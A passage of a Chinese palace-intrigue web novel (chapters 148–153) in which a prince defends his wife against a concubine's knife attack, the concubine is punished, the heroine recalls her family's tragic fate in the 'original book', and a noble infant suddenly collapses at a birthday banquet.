“不过话说回来,叶才人为何会摔倒荷花池里,毕竟是不是晚晚动的手,还有待考量,毕竟本王是了解晚晚的,她最是心地善良,自然不会无缘无故就推人落水的。” 除非那个人不是人。 然而听到君翊的话。 永国公老夫人:“???” 叶雪初:“……” 君宁玄:“!!!” 翊王你究竟要不要看看你自己在说些什么啊? 沈听晚心地善良? 他们怎么一点都没看出来啊。 至少在君翊没有露面之前,这个贱人可是一直都站在上风呢! “怎么,太子是不相信吗,还是永国公老夫人不信本王的话?” 那要不要他说出来几个小姑娘心地善良的例子,叫他们好好听听呢。 君宁玄连连忙不迭的点头:“是,皇叔说的是。” 他说得都对! 君宁玄现在只想要尽快解决这一场闹剧,赶紧离开,他可不想在被皇叔那道犀利且冷厉的目光扫视了。 这样的感觉实在是太难受了。 “那你们方才张口闭口质问晚晚,说她要害叶才人,究竟有何依据?” 君翊的一声声质问,直击中众人的心脏。 是啊,证据呢? 就 因为落水的是叶雪初,而不是沈听晚,所以翊王妃便要被诬陷为凶手? 众人恍然醒悟,原来自己竟然不知道什么时候被那永国公老夫人当成了枪使。 叶雪初一个心慌意乱,不知道是谁给她的勇气,扬声的道:“就是翊王妃推我下去啊,但是有很多人可以为我作证。” “你算什么东西,有你说话的份吗?”君翊眉头一皱,转眼又看向君宁玄:“太子,这就是你东宫的人,越发的不懂规矩了。” 君宁玄现在出了赔笑脸,哪还敢再说什么:“皇叔教训的是。” 转身走到叶雪初的跟前,把她往自己身后一拉,沉声的呵斥:“你先闭嘴!” 怎么现在还看不清形势呢。 君宁玄越是想把事情尽快平息下去,叶雪初就越发添乱,弄得他现在是又气又恼。 叶雪初一脸怔怔的望着眼前的君宁玄,突然间感觉眼前的人生那么陌生。 太子,从前只会对他温声细语,从来都没有像今天这样严厉过,而且是当着这么多人的面,半点都不给她颜面。 这还是她曾经认识的那个太子吗? 第148章 对太子失望了 这让叶雪初感到很失望,所以在太子的心里,她究竟算什么? 她堂堂丞相之女,原本能够有更好的选择,可是她谁都不屑一顾,哪怕给太子做妾,她也心甘情愿。 但这到最后究竟换来了什么呢? 一身寒风吹在叶雪初还没有干透的衣襟上,冰冷刺骨。 太子甚至从始至终,都没有顾及到她的一丁点感受,也从来没有问过,她一身湿漉漉的,被这秋风吹着,到底冷不冷。 秋天的风最是冷硬,就是穿着厚衣服的众人,都能感觉到一阵阵冷意,叶雪初更是有些支撑不住了,只觉得眼前一阵阵的眩晕。 她努力的稳住,不敢晕倒。 叶雪初是担心,哪怕她晕倒了,太子也不会多看她一眼,甚至会那她当众晾在这里,让她成为全京城的笑话。 当然,一方面,叶雪初还是心存期待的,如果这个时候她真的晕倒了,太子会不会怜惜她,会亲自把她抱回东宫起,因为她今天所受的委屈,亲自进宫给她求一个太子侧妃的名分? 叶雪初现在连太子妃的位置都不敢奢望了。 因为她心里知道,君宁玄绝不可能为了她,和皇帝与皇后彻底的决裂。 可是太子妃的位置不能是她,太子侧妃总能给她的吧…… 沈听晚站在君翊的身边,冷眼看着这一切的发生。 她看到叶雪初眼底流露出的失望,不过很快又被期望所代替,便心声讽刺。 叶雪初她到现在还不明白。 君宁玄他从来都没有爱过任何人,他只爱对他有利的一切,换句话讲,君宁玄只爱他自己。 一切对他不利,不和他心意的人或者是,都会被他迅速的所摒弃掉。 当然,很快叶雪初就能明白,什么叫希望越大,失望就会越大了。 君宁玄深吸一口气:“皇叔,今日之事想必都是误会,既然皇婶无碍,叶才人落水一事,侄儿也不想在追究,不如此事便就此过去,免得伤了你我叔侄之间的和气,如何?” 叶雪初听到这话,浑身更是一僵。 什么叫她落水的是不想追究? 难不成她就活该白白落水,连一个公道都不能有吗? 还有她脸上的那一巴掌,就这么白挨了 “哎,哪能让叶才人白白受了这份委屈,晚晚,方才是你推叶才人落水的吗?” 君翊转头又突然间看向沈听晚,淡淡开口,语调却变得格外柔和亲切。 沈听晚狠狠地翻了个白眼。 晚晚,晚晚? 这家伙叫的就这么顺口? 沈听晚:“是我。” “嗯。”君翊点点头。 沈听晚有些意外,诧异的看向君翊。 然后呢? 她都承认了,君翊竟然就是个这么反应? “本王想,晚晚怎么做,也一定有你的道理对吧?” 君宁玄:“……” 叶雪初:“……” 一阵无语。 他们算是看明白了,反正千错万错在君翊的眼睛里,沈听晚就不可能会犯错! 这时候,冬卉不知道从什么地方走来,手中还握着一把匕首,恭敬的递到君翊面前:“王爷,叶才人是奴婢踹下水的,当时王妃娘娘正准备要走,谁承想她竟然准备趁王妃娘娘不备,从背后对王妃下手。 奴婢在暗处保护王妃安危,情急之下现身打掉匕首 ,这就是无证,叶才人抵赖不得。” 冬卉还是头一次一次性说这么多话来的,就连沈听晚都觉得有些吃惊。 平日里,两个丫头从来都不露面,只躲在暗处,但里面了,也只是春婳那小丫头说话多一些,冬卉一般就站在一个角落里,不怎么爱说话。 有时候沈听晚好奇,主动和冬卉搭话,冬卉每一次也是会回答的,就是总两三个字往外蹦。 沈听晚从前都担心,这冬卉的身子是不是落下什么毛病来了。 听着冬卉的禀报,君翊掀起眼睑,漆黑如墨的瞳孔里满是阴鸷。 仔细看去,他那深邃的眼底,还萦绕着一丝杀意。 叶雪初的小脸也陡然间变得惨败,将头紧紧的底下,紧张的手背在身后,心里慌乱的一阵乱跳。 那把匕首怎么就被找到了呢? 她记得自己被冬卉踹飞出去之前,几把匕首扔远了啊。 君宁玄也是倒吸了一口凉气,他看着自己的皇叔,觉得皇叔也眉皱眉,怎么就突然间感觉到后背一阵阵凉嗖嗖的阴风呢。 君宁玄强压下心慌一脸:“皇叔,想必这里面肯定有误会,待侄儿回去后,好好调查此事,定会给皇婶一个交代。” “什么交代还需要回去调查,不能现在就给吗?”低沉阴冷的声线,从君翊的薄唇中吐出。 “正好叶才人也在,不如当众把事情说清楚,你为何要谋害本王的王妃?” 他狭长眼眸中尽是阴郁之色,杀意浓烈的是一团焰火,迸射出的戾色叫人不敢直视。 叶雪初的脸色惨白,没有血色的唇直哆嗦着:“我……” 她现在该怎么办? 匕首是她的,而且还被抓了个正着,如果不解释清楚,她今天还有命回去吗? 叶雪初现在,能把一切的希望都寄托在太子的身上。 然而太子此时却连一个眼神都没有给过来。 君宁玄现在也郁闷的很,他以为刚在自己是在为叶雪初讨还公道,还反被羞辱不说,还差点弄断了腿,现在却有人告诉他,叶雪初落水是因为她要杀害沈听晚? 谁能告诉他这究竟是怎么回事? 在君宁玄的印象里,叶雪初不是应该最为单纯善良吗,我这里连杀鸡的下人路过她跟前,她都害怕的要躲进自己的怀里,可这样一个单子小的女人,竟然敢拿着匕首要杀人? 叶雪初在看到君宁玄那道愤怒的脸色时,便知道太子不会护着她了。 叶雪初心灰意冷,她现在才看清,身边的这个男人是有多么的薄情寡义。 此时,叶雪初陷入了深深地绝望之中,但她并不认命,事情都已经这样了,难道还能会变得更糟糕吗? 她抬手擦干脸颊上的泪水,满眼仇恨的瞪向沈听晚,也不装了,歇斯底里的嘶吼着:“是,我是要杀了她,我堂堂丞相府千金,却受尽了她的折辱,凭什么,我虽然是太子的才人,但也是丞相府嫡女,就算是要杀我,也要经过陛下和皇后娘娘!” 第149章 叶才人被罚 叶雪初是要告诉众人,也是在告诉太子,她的背后还有整个丞相府撑腰。 她不是一个孤女,今天她要死真的死了,那整个丞相府就会是太子最大的敌人! 君宁玄听到这话,脸色也骤然一变。 是啊。 他怎么差点都忘了,叶雪初是丞相府是他从前太傅的女儿了呢。 是因为这段时间,他那父皇和皇祖母不断打压,而且还把皇祖母的话多多少少听进了心里,所以就完全忽视了,叶才人是丞相府的女儿。 “皇叔,叶才人毕竟是侄儿东宫的人,她犯错侄儿自会惩罚,更何况此事是先由皇婶挑起,而且还打了叶才人巴掌,皇叔也知道,女子是最看重颜面的,皇婶所为,无疑是在羞辱叶才人。” 叶雪初听着君宁玄迟来的维护,只觉得莫名的讽刺。 因为她知道,太子维护她,不是为了她这个人,而是担心整个丞相府会对他发难而已。 都说迟来的深情比草贱,叶雪初现在算是真真切切的体会到了。 然而,就在所有人以为这件事情就要这么不了了之了,毕竟叶才人被翊王妃推下水是因为自保,而叶才人要杀翊王妃,也是因为自己感受到了那羞辱,也算是一报还一报。 就此息事宁人,算是最好的解决办法。 可就在这时,定远侯府的婢女突然间站出身来,恭敬的给众位贵人行礼,随即又说道:“王妃娘娘,奴婢可以为您作证,刚才的事,是叶才人率先挑起事端,这个亭子分明是王妃娘娘先到,是叶才人的婢女强行霸占,惹怒王妃,王妃一时气急才会轻责叶才人的。” 众人听着婢女的话,又是一阵唏嘘,看向叶雪初的目光之中,也带着一抹鄙夷之色。 叶才人身边的婢女此时的脸也是唰的一下白了,站在那里不知所措。 一时之间,叶雪初和那婢女瞬间成为众矢之的。 “嗯,现下事情已经明了了,太子,你可还有何话要说?”君翊地声音当中,有这强压着的怒火。 “皇叔,侄儿……”君宁玄面色难看,被君翊地怒火吓得僵了一下,硬着头皮上前一步,却迟迟说不出半句话来。 他也是没想到,事情的原委竟然会是这样的。 更加没想到的是,叶雪初竟然会在他面前装柔弱可怜,让他误会了沈听晚。 可话虽然这么说,但沈听晚也不是一点错都没有的。 她如果退让一步,把亭子让给叶雪初,不就没有之后的那些糟烂事了吗? “太子不问青红皂白,就强行给本王的王妃身上安插罪名,甚至还要责罚长辈,实在是失了皇家体统。” “皇叔……”君宁玄呆站在眼底,眼神落在君翊的身上。 皇叔这是在开口斥责他? 就因为他错怪了沈听晚?可是为什么,沈听晚明明是他的太子妃,是他不要的人,为什么皇叔竟然会这么护着她! 在君宁玄看来,沈听晚虽然和他从前调查的有些不一样了,但也毕竟是一个女人而已,一个女人,为什么会挑起他们叔侄之间的矛盾? 然而,君翊却冷哼一声。 媳妇和一个不相关名义上的侄子,孰轻孰重,他还是能分得清的。 与君宁玄大受打击的表情不同,永国公老夫人的脸上神色更为精彩,看着自己的外孙子当众被斥责,她忍不住上前替君宁玄说话:“翊王,太子好歹是东陵储君,即便犯了错,那也是……” “怎么,老夫人是也想让本王进宫一趟,状告你诅咒本王早死?”永国公老夫人府话还没说完,便被君翊冷声打断。 他刚才没顾得上这老妖婆子,她倒是自己找上门来了! 这下子,永国公老夫人也不敢在多说什么了。 毕竟诅咒当朝亲王,那可是重罪,哪怕她是皇帝的岳母,恐怕都逃脱不了罪名,更甚者,还有可能牵连她在皇宫里当皇后的女儿。 永国公老夫人虽然已经老了,但却一点也不糊涂,在这件事上,她还是能看得清的。 她的外孙子,之所以能够成为太子,是因为他有一个母仪天下的母后。 可是皇后如果真的受了牵连,她外孙子还能当上太子那就两说了。 而这一切的始作俑者,永国公老夫人是最清楚不过了。 她此时胸腔里翻涌着怒火,只不过这怒火却是针对叶雪初的:“从前以为你是个安分的,想不到你竟能惹出来如此多的是非来,还连累着太子与你一起受辱,实在可恶!” “来人,把那个贱婢给老身拖出去打杀了,不能劝主胡闹,还留着有何用!” 永国公老夫人口中的贱婢自然是一直侍奉叶雪初的婢女。 但那婢女可是叶雪初的陪嫁,是丞相府费了好大的力气,才把人塞到东宫的,也就是为了让自己的女儿在东宫之中能有一个信得过的人使唤。 这个时候把那个婢女打杀,无疑不是在斩断叶雪初的臂膀。 “呦,是发生什么事了?竟惹得妹妹这么动怒啊?” 定远侯府的老夫人此时也听到了动静,毕竟这件事情闹得这么大,本是他孙子的周岁宴,可前厅却没有多少客人,定远侯老夫人派人打听了一下,这才知道,她们府上的后院是要出大事了。 永国公老夫人撑着脸看过去:“老姐姐,你别管,那个见贱婢不除,以后就是一个祸患!” 定远侯老夫人这下子不乐意了,事情出在他们家,她连过问一下都不行了? 更何况…… “我说老姐姐,今天怎么说也是我孙子的周岁宴,你在我府上打杀下人,是不是有失妥当啊?” 她们的孙子可是好不容易才求来的,这一年多来,定远侯府连自家都从不杀生,就怕损阴德,让这孩子出什么意外了。 可是这永国公老夫人倒是好,是真不把自己当做外人啊。 在她们侯府,就敢随随便便处置下人,这要是积攒下了怨气,伤了她的宝贝孙子,她绝对和永国公没完! 永国公老夫人听着定远侯老夫人不满的话,也恢复了理智,在别人家宴会的场面,打杀下人,却是有些不大妥当。 第150章 翊王殿下身子好了? 只不过,不杀了那个贱婢,不给叶雪初一点教训,她怎么着也是咽不下这口恶气的。 “老姐姐,今天是我气过了头,也多亏了你提醒,放心,老姐姐家的宴会,我自然不会闹事的。” 听着永国公老夫人的语气软了下来,定远侯老夫人的脸色这才缓和了不少:“那就好,今天也是府上招待不周了,刚才下人已经禀告过,叶才人无端挑起事端,太子殿下,不是老身不明事理,但话说起来,此事若不是因为有叶才人,也不会闹起来的。” 定远侯老夫人是当朝一品诰命,位同朝中二品大臣,面对眼前的太子,也是丝毫不惧。 “定远侯府恭迎太子殿下赴宴,但是这叶才人……还是请她尽早回东宫歇着吧。” 言外之意就是,叶雪初这尊大佛,她们定远侯府可招待不起。 原本他们听到叶雪初要和太子一同赴宴的时候,定远侯老夫人就一百个不愿意。 但也架不住那是皇后下的懿旨,他们不好说什么。 不过现在是叶雪初犯错在先,那可就另当别论了。 “是,老姐姐说的是。”永国公老夫人自知理亏,立马陪着笑脸说道。 转头看向君宁玄沉声的道:“太子,还是先派人送叶才人回去吧,这样的宴会,也的确不适合叶才人这种身份的人参加。” 永国公老夫人一脸的厌恶开口,要不是仗着叶雪初是丞相府的女儿,而且对太子有所助力,这样的女人,永国公老夫人是看都不会多看一眼的。 君宁玄的脸色看上去很是不好,这次叶雪初能够来参加侯府长孙的周岁礼,他可是没少费功夫。 眼下,周岁宴还没开始呢,叶雪初这边就出了事,君宁玄只觉得他从前的努力,全都白费了。 心里虽然是这样想的,但君宁玄也知道,这个时候在强行留下叶雪初也是不妥,只能叹了口气,转头皱着眉,语气算不上有多好:“本太子先派人送你回去。” 叶雪初的脸色难看的紧,她这么也没想到,事情闹到最后,沈听晚那个贱人一点波及都没受,反而是她,竟然被主家当众撵出侯府。 若是传出去,那往后她都别想在参加任何宴会了。 可事已至此,她现在身份低微,又能说什么呢。 叶雪初一脸挫败的低着头,她吸了吸鼻子,最终还是涩涩的道:“一切都听太子殿下的。” 她这算什么? 赔了夫人又折兵吗,不禁没把沈听晚这个贱人怎么地,反而在太子的心里留下来不好的印象。 往后她在东宫的日子,只怕是会更难过了…… 而这一切,都怪沈听晚! 这个贱人,她怎么不去死。 叶雪初想到这里,满眼狠意的瞪向沈听晚,眼中充满了杀意。 终有一天,她一定要禽兽杀了这个贱人! “慢着!” 这时君翊再次开口,声音力道十足。 “叶才人要谋害本王的王妃,此事就这么过去了吗?” 别想着在他面前糊弄过去,他说过,只要有他在,他就绝不会让小姑娘受半点委屈! 君宁玄的脸色又是一变:“皇叔还想要怎么解决此事?” 叶才人被撵出宴会,这难道不是对叶雪初最大的惩罚了吗? 更何况,叶雪初也没有得逞,反而落了水,这么说起来,沈听晚可没吃到什么亏啊。 “太子觉得如何处置?” 君翊嘴角勾起一抹似笑非笑的弧度,微眯起双眼,不答反问道。 君宁玄:“皇叔……侄儿回去后,便命叶才人禁足东宫,不许她在外出,您以为如何?” 然而,君宁玄的话音落下好半天,也不见君翊有要松口的意思。 君宁玄眉头紧紧蹙起,咬了咬牙:“杖责三十,叶才人身边的婢女不能劝主,会东宫后即刻杖杀?” 这样总行了吧! 杖责三十,对于一个女子来说,已经是能要叶雪初半条命的程度了! 听到君宁玄后面的话,君翊脸上才露出满意来,转头温柔的对沈听晚开口:“晚晚以为如何?” 沈听晚一顿,想了想:“既然叶才人是东宫的人,那自然有太子做主。” 对于君翊那张口晚晚闭口晚晚的称呼,沈听晚已经渐渐适应了。 与其说是适应,倒不如说是她已经强行忽视了。 不过是一个称呼而已,在外人面前,君翊想怎么叫就怎么叫吧! 君翊轻笑着挑了挑眉,眸中闪烁着光亮,嘴角勾起一抹弧度:“那就听太子的。” 听见这话,在场的众人才狠狠松了口气。 这场闹剧总算是结束了! 最后,只有叶雪初受伤的世界达成了,不禁被罚了三十板子,还要禁足,身边的陪嫁也要被杖杀。 只能说,叶雪初这是罪有应得的。 君宁玄派人将叶雪初强行带了下去,她被拖走的时候,路过沈听晚的身边,叶雪初的眼神里面的杀意与不甘,就如同一把刀子一般,恨不得用眼神杀了沈听晚。 当然,沈听晚也并不在意,叶雪初要是有那个本事,大可以再来杀她试试看。 就是不知道到时候,究竟是谁先死了。 定远侯老夫人的脸色也缓和了些,看着在场的一众宾客,立马笑着道:“叫大家看笑话了,老身孙儿的周岁宴即将开始,还请大家移步到前厅吧。” 有了定远侯老夫人的话,众人自然也渐渐开始散去。 见着人少了不少,沈听晚才低下头去看向君翊,压低声音的问:“你怎么还弄了把轮椅来,是腿不舒服了吗?” “没有。”君翊简言意骇的道。 “本王能站起来的消息,还不能传出去。” 沈听晚听见这话,就立马懂了。 君翊这是要给外面造成他还重伤的假象,要趁机搞事情啊。 两口子低声交流时,还有没散去的宾客,忍不住好奇的问:“翊王殿下,您身上的伤这事好了?” 君翊态度疏离的看向那人,淡声道:“哪有那么快。” 那人讪讪的摸了摸鼻子。 他还以为,翊王殿下的伤都已经全好了呢。 原来也不过是强撑着的。 第151章 沈夫人喜欢孩子 不过,不得不说,沈听晚这个女人真是够厉害的,竟然能让翊王都这么伤心,病重在床都不放心的要跟着来给沈听晚撑腰啊。 看来,以后在这京城里,得罪了谁,也别得罪沈听晚。 定远侯老夫人还没走远,听着君翊的话,在看向沈听晚的眼神也带着一抹复杂之色。 都说红颜祸水,看来这位翊王殿下也是英雄过不了美人关啊。 定远侯老夫人对沈听晚的印象也并不算太好,此事虽说是叶雪初有错在先,但沈听晚也并不是一点错处都没有的,差点搅和了她孙子的周岁宴,也定然不是什么省油的灯! 见着几人一脸好奇的朝着他们的方向看过来,君翊脸上的笑意也越发温柔的看向沈听晚:“也多亏了晚晚,帮本王调理身体,晚晚就是一个小神医,要不是有她在,本王恐怕都活不过年关的。” 沈听晚听到君翊的话,神色一愣,眉头紧蹙,很是古怪的看了君翊一眼。 这家伙是怎么回事? 不是说,她给他医治的事情,不能传出去吗! 这君翊怎么就这么堂而皇之的说出来了啊。 沈听晚倒不是害怕惹上什么麻烦,但也最好不要啊。 要是让人知道,给君翊治好伤的人是她,那以后对她的刺杀,还能少的了吗! 君翊的话,实在是打了沈听晚一个措手不及,可这么多人看着的,她也不好质问。 然而,当沈听晚一抬眼,变看到还没走远的众人看她的眼神都变了。 君翊的伤是有多重,南京城上下无人不知,就连皇宫里的太医的诊断都说翊王药石无医,是个将死之人。 可这才不到三个月,翊王就能坐轮椅出门了,浑身上下也不见一丝病态。 可以说,沈听晚这是把一个快要死的人给救回来了。 这是什么样的医术啊! 他们都不是傻子,心里头对沈听晚也暗暗充满了敬畏之心。 现在大家都想着,以后可不能招惹这位翊王妃,可现在却是想,要如何才能够和这位翊王妃搞好关系。 保不齐以后家里有人生病,翊王妃能出手帮上一把呢。 但是有翊王在沈听晚的身边,众人心里想要和沈听晚亲热,却也不敢上前。 开玩笑,人家小两口这腻歪着,他们上前去打扰,翊王殿下不得把他们都捏死啊。 “本王先去前厅,等下宴会结束,我们一同回府。” 沈听晚看了眼众人,随即点点头:“好。” 目送着君翊被暗祁推远的方向渐渐消失在眼前,沈听晚才收回视线,准备去找自己的母亲。 宴会是分开的,因为毕竟男女有别,所以后院里全是女眷,男宾客们则是在前厅。 眼看着君翊离开,众人才敢上前,朝着沈听晚的身边围拥上去,想要跟沈听晚套套近乎。 毕竟,京城里有这么一个小神医在,她们也想要沾沾光。 沈听晚看着眼前的众人,心里只觉得一阵讽刺。 这人啊,还真都是势利的。 刚才,也没见这一帮人,在她受欺负的时候,出言相帮两句啊。 这个时候知道她有利用价值了,就一窝蜂的涌上来嘘寒问暖了。 沈听晚态度冷淡的敷衍两句,随后便往宴会上走去。 来到母亲身边时,沈夫人还笑咪咪的逗着小孩。 不得不说,沈夫人是真的喜欢孩子啊。 “母亲。” 沈听晚走到沈夫人的跟前,轻声唤了一句。 沈夫人听到沈听晚的声音传来,也下意识抬头笑着看过去:“晚晚回来了,来,快看看这孩子,长得多俊俏!” 沈听晚缓缓落座在沈夫人的身边,也顺着沈夫人的视线朝着男孩看了一眼。 是挺可爱的哈。 当然,如果小孩能够乖乖的,坐在那里不哭不闹,沈听晚也其实并步讨厌。 “哎呀,看别人的孩子是不是也羡慕啦?啥时候有属于自己的孩子,到那个时候啊,你只会比现在还喜欢呢。” 沈夫人一脸感慨的说道,她当初和晚晚一般大的时候,其实也觉得小孩什么的,就知道惹麻烦,烦人的很。 可自打成亲后,有了属于自己的孩子,沈夫人就立马喜欢上了,看着自己的孩子,她是怎么看都看不够,怎么稀罕也稀罕不完。 沈听晚听着沈夫人的话,也是兴致缺缺,对这些话似乎并不敏感。 属于她的孩子? 还是想一想吧,孩子什么的,离她太远了。 “夫人,王妃娘娘,小公子该喂奶了。” 这时候,奶娘走到沈夫人身边,恭敬的笑着开口。 抱着孩子的沈夫人赶忙把孩子送还给奶娘:“快去吧。” 这个时候的小孩,可不能饿着。 见着奶娘把孩子抱走老远,沈夫人的视线依旧依依不舍,目不转睛打开看着,沈听晚心里边也是无奈又想笑。 同时,内心深处也有些感叹,在原书中,沈夫人直到死,都没抱上孙子或者外孙。 原主小炮灰就不用说了,嫁进东宫之后,就相当于直接被君宁玄软禁起来了,两年会沈家的次数屈指可数,而且,君宁玄对她也是极其冷淡,这两年多来,直到原主被叶雪初和君宁玄活活磋磨死,都还是处子之身。 至于沈时修…… 沈听晚记得,他这个大哥的正缘,好像马上就要来了。 是礼部尚书府卓家的长女,卓婉音。 两人是在街头认识的,沈时修从大理寺归家的时候,正巧了碰见这个卓婉音在街上被几个小混混欺负,作为大理寺少卿,保护京城子民的安康,正是他的职责所在。 他救下了卓婉音,也算是英雄救美,更没成想,沈时修也因此对那姑娘一见钟情了。 那姑娘对她大哥,似乎也颇为好感来着。 这件事情被沈夫人知道之后,那叫一个欢喜啊,说什么也要立刻找媒婆上门去提亲。 这桩婚事,原本是天作之合,本没有什么意外发生的。 可是意外却还是来了。 说起来,这件事还和如今皇后膝下的那名公主有很大的关系呢! 沈听晚想到这里,脸色也逐渐变得严肃起来,眸中闪过一丝怒色。 第152章 侯府小孙子中毒 沈家的这两个儿女,还真是都逃不掉和君宁玄那对兄妹又着牵扯呢! 就是两个月后的除夕宫宴,公主也在那宫宴之上,见了沈时修之后,就挪不开眼睛了。 说什么也要嫁给沈时修,而那个时候,沈家正是被皇帝打压的时候,而且当时皇后对原主这个儿媳妇因为迟迟没有子嗣的消息,也处处鼻子不是鼻子,眼睛不是眼睛的,怎么都看不上眼。 自然不能把自己的女儿,嫁到沈家去。 再加上,沈家也已经和卓家定了亲,这门婚事板上钉钉,云熙公主就算是再喜欢沈时修,也没办法。 本以为这件事情就要这样无疾而终了,可却不成想,那云熙公主却是个十足十的娇蛮霸道,换作现代那就是心理极其扭曲。 得不到沈时修,她就要想尽办法去把人毁掉。 她不仅毁了沈家卓家的这门婚事,还把卓家的女儿给抓起来,找人凌辱了不说,还丢到了大街上去,让所有人都看着卓家女儿和她抢男人的下场。 后来卓婉音忍受不了这种欺辱,被卓家人救回去的第二天,就吞金自杀了。 事到这里竟还没完! 后来沈家遭皇帝旨意,沈家全族被诛,云熙公主向皇帝求情,放过沈时修一条性命。 到这个时候,原主还对云熙公主心存感恩,以为她是真心实意爱着自己的长兄才会如此。 可哪成想,沈时修虽然被救下来了,却被云熙公主囚禁到了公主府,沦为公主府的男宠! 沈时修万念俱灰,他读便全天下万卷书 ,曾经也是京城里意气风发的少年,最年轻的大理寺少卿,却被云熙公主终日用狗链拴着脖子,甚至有时候,云熙公主只要有一点不高兴,就拿那带刺的鞭子狠狠抽打他,还直接把沈时修当做一条狗死的,不允许他站立行走,只能学做一条狗似的在地上爬。 后来,沈时修忍受不了这种欺辱,又出不了公主府的门,便在一个夜深人静的夜晚,撞墙自尽了。 曾经那个意气风发的少年,也终究殒命。 那对原本可以恩爱白头的一双人,也终究被云熙公主这个变态毁的家破人亡。 卓家失去了女儿,而沈家更是被皇室株连九族。 可以说,他们沈家所有的不幸,都和皇室人脱不了干系! 直到最后,沈时修被人从池子里打捞起来之后,云熙公主只远远嫌恶看了一眼,就下令让下人用一块席子草草裹了尸体,扔去乱葬岗喂饿狼了。 想到这里,沈听晚的心更是变得格外沉重起来。 既然她穿到这里来,那就绝不能再让沈家遭此祸事,她兄长和未来嫂嫂的幸福,她也守护定了! 至于那个变态的云熙公主,莫来沾边! 她既然都能摆脱得了君宁玄那个家伙,那云熙公主和她兄长,她也一定能阻止。 沈听晚的心里默默筹划着,既然云熙公主是在宫宴上看上了兄长,那就想办法,让兄长避开这场宫宴,两人见不上面,不就一切都迎刃而解了! 想到这里,沈听晚的心情也渐渐放松了不少,她现在不是太子妃,而是翊王正妃,这个身份,也和从前大不一样,就算到时候云熙公主再纠缠她大哥,她也能用身份来压一压云熙公主的气焰。 “想怎么呢,这么入迷?” 沈听晚正想着,耳边便传来沈夫人的声音响起。 她回神,勾唇淡淡笑着:“没什么,我刚才就是在想,母亲这么喜欢孩子,不知道以后大哥和未来嫂嫂的孩子,母亲得多稀罕呢。” “别提你那个大哥了!” 沈夫人白了一眼,提到她的那个儿子,她就郁闷的不行:“你大哥现在连喜欢的人都没有,什么孙子孙女的,估计我闭眼了都看不着。” “母亲,可不能这么说,父亲母亲年轻着呢,而且身体好着呢,怎么就愁怕抱孙子呢。” 沈听晚笑着开口,心里却感叹,原书中,却是和母亲说的一样…… “哎,你大哥那里母亲是指望不上了,但是晚晚,你和翊王倒是要尽快让母亲抱上外孙啊。” 什么孙子外孙子的,在沈夫人心里看来,都是她的亲孙孙。 沈听晚一听,整张白皙的笑脸瞬间垮了。 怎么说着大哥呢,这都能扯上她和君翊? 沈听晚狠狠地抽了抽嘴角,脸色也变得有些不大自然。 盼着她和君翊只见有孩子?那还不如盼她大哥是断袖来的靠谱呢。 “母亲啊,您也别着急,兴许大哥很快就能碰见未来嫂嫂了呢,到时候急着请您和父亲去提亲,您可别意外。” “就他?”沈夫人有些轻哼了一声:“你大哥现在都多大了,二十了,都还没成亲呢,京城里的好姑娘就那么多,还能等着他吗!” 二十? 沈听晚的嘴角又是一抽。 这要是换做在现代,这么大岁数的就算是谈恋爱,都得会被说是早恋的年纪吧…… “不……不好啦!小公子他……他昏过去了!” 沈听晚心里正感叹着,门口便传来方才奶娘焦急的声音。 屋内众人脸色顿时一变,原本还在招呼宾客的谢夫人也陡地从椅子上站起来。 “什么!煜哥儿怎么了!好端端的怎么会晕倒呢?” 奶娘也忙不迭跪了下去,泪水直流:“呜呜……夫人,奴婢对不住夫人,奴婢没有照顾好小公子……” 谢夫人眉头紧蹙,都什么时候了,她哪里听得进去奶娘的话。 她现在只想知道,她儿子到底怎么样了! 这不是她和丈夫的第一个孩子了,三年前,她就怀过一个孩子,可却不知道为什么就无缘无故的小产了,那个时候,孩子都已经成型了,是一个男胎。 谢夫人伤心了整整三年,这回好不容易又怀了孩子,她一整个小心护着,生怕磕着碰着,就连入口的东西也格外小心细致,才生下了这么个孩子。 又是一年多过去了,孩子健健康康的长大,谢夫人才渐渐放松下来,可却如今,她的儿子竟然又…… 第153章 方才抱那个孩子的时候,有没有什么不对劲 谢夫人的脸色逐渐变得惨白起来,整个身体也有些站立不稳,她抬手支撑着桌子,深吸一口气,语气间带着颤音儿:“煜哥儿现在怎么样了,快……快带我过去!快去请大夫给我儿子看看!” 谢夫人现在的心整个像是一团乱麻似的,生怕自己儿子会有什么意外,也顾不上是不是还有宾客在便要走。 “奴婢已经去请了大夫。夫人放心。” “好。”谢夫人点点头,听见大夫已经被请来了,这才稍稍放心的转向众人:“让大家见笑了……我要去看看煜哥儿,今日招待不周,改日我会亲自登门向众位赔罪。” 说着,谢夫人朝着众人深深鞠了一躬,便转身大步朝着门口跑去,半点也顾不得什么女子温婉优雅的举止。 她现在只一心都想着自己的儿子,怎么好端端的就会晕倒呢? 是意外吗? 因为定远侯府的小孙子昏迷的太过突然,宾客们坐在一旁,一时之间也没反应过来。 “怎么回事,刚才孩子还好端端的,怎么就晕倒了呢?” 沈夫人也是心疼了,刚才她还抱过那个孩子,奶呼呼的,可爱极了,怎么招人喜欢的孩子,怎么就突然间出事了呢。 沈听晚坐在沈夫人身边,心里感觉暗暗不对劲,正如自己母亲所说的那样,孩子刚才还好好的,突然间昏迷了,如果是生病倒还好,但要是中了毒…… 沈听晚脸色一变,转头看向沈夫人那一脸担忧的神色,余光却感受到一股不怀好意的眼神正朝着她们的方向扫过来。 她眉头紧蹙,下意识朝着眼神的方向看过去。 是赵金燕。 然而,在沈听晚看过去的下一秒,赵金燕便把视线收回来,当做没事儿人似的摆弄着自己的指甲。 是她的错觉吗? 可是沈听晚刚才分明能够感觉到,赵金燕眼中一闪而过的幸灾乐祸啊。 沈听晚心里顿时感觉不妙,起身:“母亲,看来这周岁宴是无法继续了,我们回府吧。” 沈夫人一脸茫然:“哎,晚晚啊,你不是会医术吗?不如去给那孩子看看?” 若救人一命,胜造七级浮屠,沈夫人此时还没感受到事情的严重性,只是想着,那么小的孩子,得遭多大罪啊。 如果晚晚能给孩子医治好,那就再好不过了。 然而此时,沈听晚却有些着急了。 她不是心肠硬不给那孩子医治,可救人的前提是,得先保证好自己的安危啊。 她刚才分明看到,赵金燕的脸上是藏着恶意的,保不齐那孩子晕倒,有人会把这场火引到她们身上来。 沈听晚是越想越觉得不对劲,她低下头,小声地开口:“母亲,您方才抱那个孩子的时候,有没有感觉到哪里不对劲的?” 沈夫人还没反应过来自己女儿的意思,眉头微蹙了蹙,仔细想想,随即又摇了摇头:“没有什么不对劲的啊,孩子挺活泼的。” 听到沈夫人的话,沈听晚才稍稍放心下来。 孩子在母亲手上的时候还是健康的,那也就是说,那孩子是在奶娘手上出的事了。 